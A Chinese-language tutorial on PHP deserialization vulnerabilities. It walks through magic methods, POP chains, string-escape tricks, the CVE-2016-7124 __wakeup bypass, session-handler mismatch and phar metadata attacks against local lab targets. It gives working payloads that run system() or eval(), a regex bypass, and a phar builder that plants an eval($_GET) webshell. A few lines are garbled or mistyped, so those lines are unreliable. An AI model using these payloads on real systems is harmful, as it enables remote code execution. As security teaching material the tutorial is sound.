PHP反序列化
PHP反序列化
一:php面向对象基础知识
操作均在windows下进行
1.基本概念
1.面向对象
面向对象是一种以“对象”为中心的编程思想,把要解决的问题分解成各个“对象”:对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象。
2.面向过程
面向过程是一种以“整体事件”为中心的编程思想,编程的时候把解决问题的步骤分析出来,然后用函数把这些步骤实现,在一步一步的具体步骤中再按顺序调用函数。
3.类和对象
类是定义了一件事物的抽象特点,它将数据的形式以及这些数据上的操作封装在一起。
对象是具有类类型的变量,是对类的实例。
内部构成:成员变量(属性)+成员函数(方法)
成员变量:定义在类内部的变量。该变量的值对外是不可见的,但是可以通过成员函数访问,在类被实例化为对象后,该变量即可成为对象的属性。
成员函数:定义在类的内部,可用于访问对象的数据。
4.继承
继承:继承性是子类自动共享父类数据结构和方法的机制,是类之间
的一种关系。
在定义和实现一个类的时候,可以在一个已经存在的类的基础
之上来进行,把一个已经存在的类所定义的内容作为自己的内容,并
加入若干新的内容。
父类:一个类被其它类继承,可将该类成为父类,或基类,超类。
子类:一个类继承其他类称为子类,也可称为派生类。
2.实例化
1.类的结构
class Class_Name{
//成员属性
//成员方法
}
2.类的内容
创建一个类:
class student{//定义类(类名)
var $name;//声明成员变量,var为一种修饰符
var $age;
function study($var1){//声明成员方法
echo $this->name;//使用预定义$this调用成员变量
echo $this->age;
echo $var1.'学习'//成员函数传参$var1可直接调用
}
}
3.实例化和赋值
$zs = new student();//实例化
$zs->name = "张三";//赋值
$zs->age = 34;
$zs->study("好好");//函数调用
print_r($zs);
4.类的修饰符
访问权限修饰符:对属性的定义
常用访问权限修饰符:
public:公共的,在类的内部、子类中或者类的外部都可以使用,不受限制:
protected:受保护的,在类的内部、子类中可以使用,但不能在类的外部使用:
private:私有的,只能在类的内部使用,在类的外部或者子类中都无法使用。
class student{
public $name = "zs";
private $age = 12;
protected $id = 01;
function study($var1){
echo $this->name;
echo $this->age;
echo $var1.'学习'
}
}
$zs = new student();
echo $zs->name;
echo $zs->age;
echo $zs->id;
class student{
public $name = "zs";
private $age = 12;
protected $id = 01;
function study($var1){
echo $this->name;
echo $this->age;
echo $var1.'学习'
}
}
class stu extends student{
function test(){
echo $this->name;
echo $this->age;
echo $this->id;
}
}
$zs = new student();
$zst = new stu();
echo $zs->name;
echo $zst->test();
二:序列化基础知识
操作均在windows下进行
1.序列化
1.序列化的作用
序列化(Serialization)是将对象的状态信息(属性)转换为可以存储或传输的形式的过程,将对象或者数组转化为可储存/传输的字符串。
对象------>序列化------>字符串
2.序列化之后的表达方式
1.对象序列化:
<?php
$a = null;
echo serialize($a)."<br />";
$a = 666;
echo serialize($a)."<br />";
$a = 66.6;
echo serialize($a)."<br />";
$a = true;
echo serialize($a)."<br />";
$a = false;
echo serialize($a)."<br />";
$a = 'kear';
echo serialize($a)."<br />";
?>
N;//空
i:666;//i表示int
d:66.6;//d表示double
b:1;//b表示boolean,1表示真
b:0;//b表示boolean,0表示假
s:4:"kear";//s表示string,4是长度
2.数组序列化:
<?php
$a = array('zhangsan','lisi','wangwu');
echo serialize($a);
?>
a:3:{i:0;s:8:"zhangsan";i:1;s:4:"lisi";i:2;s:6:"wangwu";}
a//array
3//参数数量
i:0//编号
s//数据类型:
8//长度:
"zhangsan"//具体值
3.对象序列化
class student{
public $name = 'zhangsan';
private $age = 25;
protected $id = 1;
}
$zs = new student();
echo serialize($zs);
O:7:"student":3:{s:4:"name";s:8:"zhangsan";s:12:"studentage";i:25;s:5:"*id";i:1;}
O//object
7//类名长度
"student"//类名
3//对象个数
4//public变量名长度
12//privata变量名长度,在变量名前加“%00变名%00”
5//protected变量名长度,在变量名前加“%00*%00”
%00为url编码,表示的是null
3.成员属性调用对象
<?php
class student{
var $name='zhangsan';
function jineng(){
echo $this->name;
}
}
class stu{
var $id;
function __construct(){
$this->id=new student();//复制一个对象
}
}
$a = new stu();
echo serialize($a);
?>
O:3:"stu":1:{s:2:"id";O:7:"student":1:{s:4:"name";s:8:"zhangsan";}}
O:7:“student”:1:{s:4:“name”;s:8:“zhangsan”;}
此时i对应一个完整的odject的序列化
2.反序列化
1.反序列化的作用
将序列化后的参数还原成实例化的对象。
对象<-------反序列化<-------字符串
2.反序列化之后的表达式
1.反序列化表达
<?php
class student{
public $name = "zs";
private $age = 12;
protected $id = 01;
function study(){
echo $this->name;
}
}
$zs = 'O:7:"student":3:{s:4:"name";s:2:"zs";s:12:"%00student%00age";i:12;s:5:"%00*%00id";i:1;}';
$zs = urldecode($zs);//URL解码
var_dump(unserialize($zs));//输出反序列化的内容
?>
object(student)#1 (3) {
["name"]=> string(2) "zs"
["age":"student":private]=> int(12)
["id":protected]=> int(1)
}
2.反序列的值
反序列化生成的对象里的值,由反序列化里的值提供,与原有类预定义的值无关:
<?php
class student{
public $name = "zs";
private $age = 12;
protected $id = 01;
function study(){
echo $this->name;
}
}
$zs = 'O:7:"student":3:{s:4:"name";s:8:"zhangsan";s:12:"%00student%00age";i:24;s:5:"%00*%00id";i:1;}';
$zs = urldecode($zs);
var_dump(unserialize($zs));
?>
object(student)#1 (3) {
["name"]=> string(8) "zhangsan" ["age":"student":private]=> int(24)
["id":protected]=> int(1)
}
3.反序列的方法
反序列化不改变类的成员方法;需要调用方法后才能触发:
<?php
class student{
public $name = "zs";
private $age = 12;
protected $id = 01;
function study(){
echo $this->name;
}
}
$zs = 'O:7:"student":3:{s:4:"name";s:8:"zhangsan";s:12:"%00student%00age";i:24;s:5:"%00*%00id";i:1;}';
$zs = urldecode($zs);
var_dump(unserialize($zs));
unserialize($zs)->study();//调用反序列的方法
?>
object(student)#1 (3) {
["name"]=> string(8) "zhangsan" ["age":"student":private]=> int(24)
["id":protected]=> int(1)
}
zhangsan
3.反序列化漏洞
1.直接传参
<?php
error_reporting(0);
class test{
public $a = 'system("ipconfig");';
public function displayVar(){
eval($this->a);
}
}
$a = 'O:4:"test":1:{s:1:"a";s:19:"system("ipconfig");";}';
$b = unserialize($a);
$b->displayVar();
?>
Windows IP 配置 以太网适配器 Ethernet0: 连接特定的 DNS 后缀 . . . . . . . : localdomain 本地链接 IPv6 地址. . . . . . . . : fe80::5434:fe20:16fd:2981%9 IPv4 地址 . . . . . . . . . . . . : 192.168.200.128 子网掩码 . . . . . . . . . . . . : 255.255.255.0 默认网关. . . . . . . . . . . . . : 192.168.200.2 以太网适配器 蓝牙网络连接: 媒体状态 . . . . . . . . . . . . : 媒体已断开连接 连接特定的 DNS 后缀 . . . . . . . : 以太网适配器 vEthernet (Default Switch): 连接特定的 DNS 后缀 . . . . . . . : 本地链接 IPv6 地址. . . . . . . . : fe80::ec5a:e224:abe1:7749%23 IPv4 地址 . . . . . . . . . . . . : 172.17.48.1 子网掩码 . . . . . . . . . . . . : 255.255.240.0 默认网关. . . . . . . . . . . . . :
2.get方法传参
<?php
error_reporting(0);
class test{
public $a = 'system("ipconfig");';
public function displayVar(){
eval($this->a);
}
}
$a = $_GET["id"];
$b = unserialize($a);
$b->displayVar();
?>
//浏览器中输入
http://127.0.0.1/1.php?id=O:4:%22test%22:1:{s:1:%22a%22;s:19:%22system(%22ipconfig%22);%22;}
三:魔术方法
操作均在windows下进行
1.魔术方法
1.概念
一个预定义好的,在特定情况下自动触发的行为方法。
2.作用
反序列化漏洞的成因:反序列化过程中,unserialize()接收的值(字符串)通过更改这个值(字符串),得到所需要的代码:通过调用方法,触发代码执行。
魔术方法在特定条件下自动调用相关方法,最终导致触发代码。
3.相关机制
触发时机:动作不同,触发的魔术方法也不同
功能
参数:一些特殊魔术方法会传参
返回值
2.类型
1.构造函数
__construct()
构造函数,在实例化一个对象的时候,首先会去自动执行的一个方法:
触发时机:实例化对象时触发构造函数
<?php
class test{
public $a;
public function __construct($a){
$this->a = $a;
echo "触发一次";
}
}
$s = new test(1);//触发
$c = serialize($a);
unserialize($c);
?>
触发一次
2.析构函数
__destruct()
析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法。
触发时机:实例化对象结束后,代码运行完会销毁,触发析构函数。
<?php
class test{
public function __destruct(){
echo "触发一次";
}
}
$s = new test();//触发
$c = serialize($a);
unserialize($c);//触发
?>
触发一次
触发一次
漏洞利用:
<?php
class test{
public $a;
public function __destruct(){
eval($this->a);
}
}
$get = $_GET["id"];
unserialize($get);
?>
http://127.0.0.1/1.php?id=O:4:"test":1:{s:1:"a";s:25:"system("ping 127.0.0.1");";}
正在 Ping 127.0.0.1 具有 32 字节的数据: 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128 127.0.0.1 的 Ping 统计信息: 数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失), 往返行程的估计时间(以毫秒为单位): 最短 = 0ms,最长 = 0ms,平均 = 0ms
3.__sleep()
序列化serialize()
函数会检查类中是否存在一个魔术方法__sleep()
。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组,如果该方法未返回任何内容,则NULL被序列化,并产生一个ENOTICE级别的错误。
触发时机:序列化serialize()
之前
功能:对像被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。
参数:成员属性
返回值:需要被序列化存储的成员属性
<?php
class student{
public $name;
public $age;
private $id;
public function __construct($name,$age,$id){
$this->name = $name;
$this->age = $age;
$this->id = $id;
}
public function __sleep(){
return array('name','age');
}
}
$d = new student("zhangsan",23,1);
echo serialize($d);//serialize()只序列化sleep返回的变量
?>
O:7:"student":2:{s:4:"name";s:8:"zhangsan";s:3:"age";i:23;}
漏洞利用:
<?php
class student{
public $name;
public $age;
private $id;
public function __construct($name,$age,$id){
$this->name = $name;
$this->age = $age;
$this->id = $id;
}
public function __sleep(){
system($this->name);
}
}
$d = $_GET['id'];
$stu = new student("$d",23,1);
echo serialize($stu);
?>
http://127.0.0.1/1.php?id=ipconfig
4.__wakeup()
unserialize()
会检查是否存在一个__wakeup()
方法。如果存在,则会先调用__wakeup()
方法,
预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库
连接或执行其他初始化操作。
触发时机:反序列化unserialize()
之前
__wakeup()
在反序列化unserialize()
之前
__destruct()
在反序列化unserialize()
之后
<?php
class student{
public $name;
public $age;
private $id;
public function __wakeup(){
$this->id = $this->name;//反序列化之前触发wakeup,给id赋值
}
}
$a = 'O:7:"student":2:{s:4:"name";s:8:"zhangsan";s:3:"age";i:18;}';
var_dump(unserialize($a));
?>
object(student)#1 (3) {
["name"]=> string(8) "zhangsan"
["age"]=> int(18)
["id":"student":private]=> string(8) "zhangsan" }
漏洞利用:
<?php
class student{
public $name;
public $age;
private $id;
public function __wakeup(){
system($this->name);
}
}
$a = 'O:7:"student":2:{s:4:"name";s:8:"ipconfig";}';
var_dump(unserialize($a));
?>
Windows IP 配置 以太网适配器 Ethernet0: 连接特定的 DNS 后缀 . . . . . . . : localdomain 本地链接 IPv6 地址. . . . . . . . : fe80::5434:fe20:16fd:2981%9 IPv4 地址 . . . . . . . . . . . . : 192.168.200.128 子网掩码 . . . . . . . . . . . . : 255.255.255.0 默认网关. . . . . . . . . . . . . : 192.168.200.2 以太网适配器 蓝牙网络连接: 媒体状态 . . . . . . . . . . . . : 媒体已断开连接 连接特定的 DNS 后缀 . . . . . . . : 以太网适配器 vEthernet (Default Switch): 连接特定的 DNS 后缀 . . . . . . . : 本地链接 IPv6 地址. . . . . . . . : fe80::ec5a:e224:abe1:7749%23 IPv4 地址 . . . . . . . . . . . . : 172.17.48.1 子网掩码 . . . . . . . . . . . . : 255.255.240.0 默认网关. . . . . . . . . . . . . : object(student)#1 (3) { ["name"]=> string(8) "ipconfig" ["age"]=> int(18) ["id":"student":private]=> NULL }
5.tostring和invoke
__toString()
表达方式错误导致魔术方法触发
触发时机:把对象被当成字符串调用
常用于构造POP链接
__invoke()
格式表达错误导致魔术方法触发
触发时机:把对象当成函数调用
<?php
class student{
public function __tostring(){
echo "把对象被当成字符串调用";
}
public function __invoke(){
echo "把对象被当成函数调用";
}
}
$stu = new student();
$stu();
echo $stu;
?>
把对象被当成函数调用
把对象被当成字符串调用
6.其他
class student{
private $a;
public function __call($arg1,$arg2){
echo "$arg1,$arg2[0]";
}
public function __callStatic($arg1,$arg2){
echo "$arg1,$arg2[0]";
}
public function __get($arg1){
echo $arg1;
}
public function __set($arg1,$arg2){
echo $arg1.','.$arg2;
}
public function __isset($arg1 )
{
echo $arg1;
}
public function __unset($arg1 )
{
echo $arg1;
}
public function __clone( )
{
echo "__clone test";
}
}
$stu = new student;
$stu->study('好好学习');
$stu::study('天天向上');
echo $stu->b;
echo $stu->b=3;
isset($stu->a);
unset($stu->a);
$stu1 = clone($stu);
study,好好学习
study,天天向上
b
b,3
3
a
a
__clone test
四:POP链的构造
操作均在windows下进行
1.pop链前置知识
1.成员属性赋值对象
如何调用evil中的action方法?
<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
private $test;
public function __construct(){
$this->test = new normal();
}
public function __destruct(){//反序列化unserialize()触发魔术方法destruct(),destruct()从$test调用action()
$this->test->action();
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2;//eval()调用$test2
public function action(){
eval($this->test2);//可利用漏洞点在函数eval(),(可执行指令)
}
}
unserialize($_GET['test']);
?>
解决思路:给$test赋值为对象test=new evil()
关联步骤:给$test赋值实例化对象test=new evil()
此时$a为实例化对象index(),
其中成员属性$test=new evil(),
$test为实例化对象evil(),
成员属性$test2=“system(“ipconfig”);”;
序列化只能序列化成员属性,不序列化成员方法
<?php
class index {
private $test;
public function __construct(){
$this->test = new evil();
}
}
class evil {
var $test2 = "system("ipconfig");";//1.构造命令语句
}
$a = new index();//实例化对象index(),自动调用__construct()
unserialize($_GET['test']);
?>
原来的就可以这样写:
test=O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:19:"system("ipconfig");";}}
2.魔术方法触发规则
魔术方法触发前提:魔术方法所在类(或对象)被调用
class student{
public $name;
public function __wakeup(){
echo "触发__wakeup";
echo $this->name;
}
}
class teacher{
public $tname;
public function __tostring(){
echo "触发__tostring";
}
}
$a = 'O:7:"teacher":1:{s:5:"tbame";N;}';
unserialize($a);
echo unserialize($a);
反序列化的内容$a所调用的类teacher()里不包含__wakeup()
,故不会触发
echo把反序列化生成的对象当成字符串输出,触发所在类内的__tostring()魔术方法:
触发__tostring
class student{
public $name;
}
class teacher{
public $tname;
}
$stu = new student();
$tea = new teacher();
$stu->name = $tea;
echo serialize($stu);
//构造POC::
O:7:"student":1:{s:4:"name";O:7:"teacher":1:{s:5:"tname";N;}}
在对象
s
t
u
里给
n
a
m
e
赋值对象
stu里给name赋值对象
stu里给name赋值对象tea,在触发__wakeup后执行echo从而触发teacher里的__tostring
class student{
public $name;
public function __wakeup(){
echo "触发__wakeup";
echo $this->name;
}
}
class teacher{
public $tname;
public function __tostring(){
echo "触发__tostring";
}
}
$a = 'O:7:"teacher":1:{s:5:"tbame";N;}';
unserialize($a);
将最开始的$a修改为生成的即可。
触发__wakeup
触发__tostring
3.pop链
1.pop链
在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在PHP反序列化中有一种漏洞利用方法叫"面向属性编程",即PoP(Property Oriented Programming)。POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload。.
POC编写
2.poc编写
PoC(全称:Proof of concept)中文译作概念验证。在安全界可以理解成漏洞验证程序。PoC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。
3.实例(烧脑时刻)
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
1.目标:触发echo,调用$flag
2.第一步:触发invoke,调用append,并使$var=flag.php
3.invoke触发条件:把对象当成函数
4.给$p赋值为对象,即function成为对象Modifier,却被当成函数调用,触发Modifier中的invoke
5.第二步:触发get,(触发条件:调用不存在的成员属性)
6.给$str赋值为对象Test,而Test中不存在成员属性source,则可触发Test里的成员方法get
7.第三步:触发toString(触发条件:把对象当成字符串)
8.给$source!赋值为对象show,当成字符串被echo调用,触发toString
9.最终步:触发wakeup(反序列化unserialize()
构造POC:
<?php
class Modifier {
private $var = 'flag.php';
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$a = new Modifer();
$c = new Test();
$c->p = $a;
$b = new Show();
$b->str = $c;
$b->source = $b;
echo serialize($b);
?>
构造POC:
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
五:反序列化逃逸
操作均在windows下进行
1.字符串逃逸基础知识
1.反序列化分隔符
反序列化以:}结束,后面的字符串不影响正常的反序列化
2.属性逃逸
一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸。
3.反序列化特性
成员属性数量要一致,字符串长度要一致:
class student{
public $name1 = "a";
public $name2 = "b";
}
$stu = new student();
echo serialize($stu);
$c = 'O:7:"student":1:{s:5:"name1";s:1:"a";s:5:"name2";s:1:"b";}';
var_dump(unserialize($c));
$d = 'O:7:"student":2:{s:5:"name1";s:5:"a";s:5:"name2";s:1:"b";}';
var_dump(unserialize($d));
$e = 'O:7:"student":2:{s:5:"name1";s:1:"a";s:5:"name3";s:1:"c";}';
var_dump(unserialize($c));//这里会出现3个成员属性,name1,name3是反序列化内容中的,name2是原student中的,name1,name3的值由反序列化的内容决定,name2的值是由类决定的
$f = 'O:7:"student":2:{s:5:"name1";s:1:"a";s:5:"name2";s:3:"c"d";}';
var_dump(unserialize($f));//"是字符串还是格式符号,是由字符串长度3来判断的
$g = 'O:7:"student":2:{s:5:"name1";s:1:"a";s:5:"name2";s:3:"c"d";}xdcvigmofcdxb asi';
var_dump(unserialize($g));//在前面字符串没有问题的情况下;}是反序列化结束符,后面的字符串不影响反序列化结果,前提是;}格式符号,不是字符串
O:7:"student":2:{s:5:"name1";s:1:"a";s:5:"name2";s:1:"b";}
bool(false)
bool(false)
object(student)#2 (3) {
["name1"]=> string(1) "a"
["name2"]=> string(1) "b"
["name3"]=> string(1) "c"
}
object(student)#2 (2) { ["name1"]=> string(1) "a" ["name2"]=> string(3) "c"d" }
object(student)#2 (2) { ["name1"]=> string(1) "a" ["name2"]=> string(3) "c"d" }
2.字符串逃逸减少
属性逃逸:
一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸。
class student{
public $name1 = "abcsystem()";
public $name2 = "123";
}
$stu = serialize(new student());
$stu = str_replace("system()","",$stu);// str_replace把system()替换为空,字符串缺失导致格式被破坏,识别11位以后原本应该是”,变成了abc";s:5:"n,导致反序列为空
var_dump(unserialize($stu));
bool(false)
逃逸属性name3,值为zhangsan:
class student{
public $name1 = "abcsystem()system()system()";
public $name2 = "1234\";s:5:\"name3\";s:8:\"zhangsan\";}";
}
$stu = serialize(new student());
echo $stu;
//O:7:"student":2:{s:5:"name1";s:27:"abcsystem()system()system()";s:5:"name2";s:31:"1234";s:5:"name3";s:8:"zhangsan";}";}
$stu = str_replace("system()","",$stu);
//其中3个system()被过滤,缺失长度为24,将继续向后获取24个字符,当做name1的值,向后提取的值为";s:5:"name2";s:31:"1234后面剩下的就是表示属性name3。
echo $stu;
var_dump(unserialize($stu));
object(student)#1 (3)
{ ["name1"]=> string(27) "abc";s:5:"name2";s:31:"1234"
["name2"]=> string(34) "1234";s:5:"name3";s:8:"zhangsan"
["name3"]=> string(8) "zhangsan"
}
例子:
目标:将vip的值变成true
一:字符串过滤后减少还是增多
二:构造出关键成员属性序列化字符串
$vip = ture
三:变少则判断吃掉的内容,并计算长度
四:构造payload并提交
<?php
function filter($name){
$safe = array("flag","php");
$name = str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user = $user;
$this->pass = $pass;
}
}
$param = "flagflagflagflagflagflagflagflagflagflag";
//O:4:"test":3:{s:4:"user";s:4:"abcd";s:4:"pass";s:3:"123";s:3:"vip";b:1;}
//flag被替换成hk,字符串减少,会吃掉后面的结构代码,吃完";s:4:"pass";s:3:"后("建议吃掉)$pass的值可控,字符串逃馋;目标代码"s3:"vip";b:1}
//";s:4:"pass";s:xx:"因为构造的payload长度为两位数
//flag→hk,吃一次少2个字符,要吃够19位最少要吃10次,多吃1位在后面补1
//成员属性少一个,最终逃逸代码:1";s:4:"pass";s:3:"123";s:3:"vip";b:1;}
$pass = "1\";s:4:\"pass\";s:3:\"123\";s:3:\"vip\";b:1;}";
$param = serialize(new test($param,$pass));
$profile = unserialize(filter($param));
if ($profile->vip){
echo "逃逸成功";
}
?>
逃逸成功
3.字符串逃逸增加
class student{
public $name1 = "ab";
public $name2 = "123";
}
$stu = serialize(new student());
echo $stu;
//O:7:"student":2:{s:5:"name1";s:2:"ab";s:5:"name2";s:3:"123";}
$stu = str_replace("ab","asd",$stu);
//str_replace把"ab"替换成asd,字符增多,会把末尾多出的字符挤出去
echo $stu;
//O:7:"student":2:{s:5:"name1";s:2:"asd";s:5:"name2";s:3:"123";}
var_dump(unserialize($stu));
bool(false)
逃逸属性name3,值为zhangsan:
class student{
public $name1 = "abababababababababababababababababababababababababababababab\";s:5:\"name3\";s:8:\"zhangsan\";}";
public $name2 = "123";
}
//需要填入的为";s:5:"name3";s:8:"zhangsan";}长度30
$stu = serialize(new student());
echo $stu;
//30个字符ab替换成30个acd正好是原来30个字符ab加上需要填入的字符两者总和,然后正好将我们填入的字符挤出
$stu = str_replace("ab","asd",$stu);
echo $stu;
var_dump(unserialize($stu));
object(student)#1 (3) {
["name1"]=> string(90) "asdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasd"
["name2"]=> string(3) "123"
["name3"]=> string(8) "zhangsan" }
例子:
目标:判断是否pass==“escaping”
一:字符串过滤后减少还是增多
二:构造出关键成员属性序列化字符串
三:增多则判断一次吐出来多少个字符
四:构造payload并提交
<?php
function filter($name){
$safe = array("flag","php");
$name = str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass = "daydream";
function __construct($user){
$this->user=$user;
}
}
$param = $_GET['param'];
$param = serialize(new test($param));
$profile = unserialize(filter($param));
if ($profile->pass=="escaping"){
echo "逃逸成功";
}
?>
需要填入的为";s:4:“pass”;s:8:“escaping”;}长度29
payload为
?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
逃逸成功
4.反序列化漏洞:CVE-2016-7124
PHP5<5.6.25
PHP7<7.0.10
漏洞产生原因:
如果存在__wakeup()
方法,调用unserilize()方法前则先调用__wakeup()
方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过__wakeup
的执行
0:4:“test”:2:{s:2:“v1”😒:6:"benben"s:2:“v2”😒:3:“123”;}
0:4:“test”:3:{s:2:"v1"s:6:"benben"s:2:"v2"s:3:“123”;}
成员属性个数值为3,但后面实际只有v1和v2 2个成员属性
<?php
error_reporting(0);
class secret{
var $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
include_once($this->file);
echo $flag;
}
function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
highlight_file(__FILE__);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>
O:6:"secret":1:(s:4:"file";s:8:"flag.php";}
O:6:"secret":2:{s:4:"file";s:8:"flag.php";}
把成员属性数量值写成2,就可以跳过__wakeup()
但是正则表达式限制了O:后面不能跟数字
O:+6:"secret":2:[s:4:"file";s:8:"flag.php";}
加号+跳过正则表达式判断
urlencode('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}')
?cmd=O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
六:session反序列化漏洞
以下实验(包括7)需要在kali中进行;
可以通过docker搭建环境:
docker pull mcc0624/ser:1.8
docker run -p 8002:80 -d mcc0624/ser:1.8
将端口直接映射到8002,直接访问http://127.0.0.1:8002即可打开靶场
1.session
当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp(linux))。
存取数据的格式有多种,常用的有三种:
1.php
<?php
session_start();
$_SESSION['student'] = $_GET['stu'];
?>
?stu=zhangsan
存储方式:
键名+竖线+经过serialize()函数序列化处理的值
student|s:8:"zhangsan";
2.php_serialize
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['student'] = $_GET['stu'];
$_SESSION['name'] = $_GET['n'];
?>
?stu=zhangsan&n=lisi
存储方式:
经过serialize()函数序列化处理的数组
a:2:{s:7:"student";s:8:"zhangsan";s:4:"name";s:4:"lisi";}
3.php_binary
<?php
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['student'] = $_GET['stu'];
$_SESSION['name'] = $_GET['n'];
?>
?stu=zhangsan&n=lisi
存储方式:
键名的长度对应的ASCIl字符+键名+经过serialize()函数反序列处理的值
BEL代表数字7,EOT代表数字1
BELstudents:8:"zhangsan";EOTnames:4:"lisi";
2.session反序列化漏洞
1.原理
漏洞产生:写入格式和读取格式不一致
save.php:提交a以php_serialize格式保存:
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>
vul.php:以php格式读取session:
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class D{
var $a;
function __destruct(){
eval($this->a);
}
}
?>
序列化:
class D{
var $a = "system(\"ls\");";
}
echo serialize(new D());
O:1:"D":1:{s:1:"a";s:13:"system("ls");";}
提交内容:
?a=|O:1:"D":1:{s:1:"a";s:13:"system("ls");";}
php_serialize存储格式为:
a:1:{s:3:ben;s:42:"|O:1:"D":1:{s:1:"a";s:13:"system("ls");";}";}
php读取时会将a:1:{s:3:ben;s:42:"
认定是键名,|以后的是经过serialize()序列化处理的值。
以php格式读取时会把O:1:“D”:1:{s:1:“a”;s:13:“system(“ls”);”;}";}进行反序列化unserialize(),从而触发vul.php中的__destruct()魔术方法,执行我们要破解的信息。
//ls为列出当前目录下的文件
redis-3.2.0 test.py
2.实例
<?php
highlight_file(__FILE__);
/*hint.php*/
session_start();
class Flag{
public $name;
public $her;
function __wakeup(){
$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){
include('flag.php');
echo $flag;
}
}
}
?>
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>
反序列化:
class Flag{
public $name;
public $her;
}
$a = new Flag();
$a->name = &$a->her;//引用
echo serialize($a);
O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
提交:
?a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
再次访问http://127.0.0.1/php_ser/class21/index.php
ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
七:phar反序列化
1.phar
1.概念
PHAR(“Php ARchive”)是PHP里类似于JAR的一种打包文件,对于PHP5.3或更高版本,Phar后缀文件是默认开启支持的,可以直接使用它。
文件包含:phar伪协议,可读取.phar文件。
2.结构
stub phar文件标识,格式为Xxx<?php xxx;_HALT_COMPiLER():?>;(头部信息)
manifest压缩文件的属性等信息,以序列化存储:
contents压缩文件的内容:
signature签名,放在文件末尾:
Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化
2.phar漏洞
1.原理
manifest压缩文件的属性等信息,以序列化存储;存在一段序列化的字符串;
调用phar伪协议,可读取phar文件;
Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化。
Phar需要PHP>=5.2在php.ini中将phar.readonlyi设为Of(注意去掉前面的分号)
<?php
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
if(isset($_GET['filename']))
{
$filename=$_GET['filename'];
var_dump(file_exists($filename));
}
?>
__destruck把output(echo ‘ok’;)值调用并输出
提交文件名filename,file_exists读取文件,检查文件是否存在
验证?filename=/etc/passwd
boot(true)//验证成功
如果存在反序列化,并把$output值赋值为可执行命令行则会调用__destructi并执行命令.
生成phar文件:
<?php
highlight_file(__FILE__);
class Testobj
{
var $output='';
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';//给output赋值eval(_GET["a"]):
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
Index.php页面file_exists有文件包含功能,可调用phar伪协议,读取test.phar
/index.php/?filename=phar://test.phar
Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化
反序列化触发__destruct
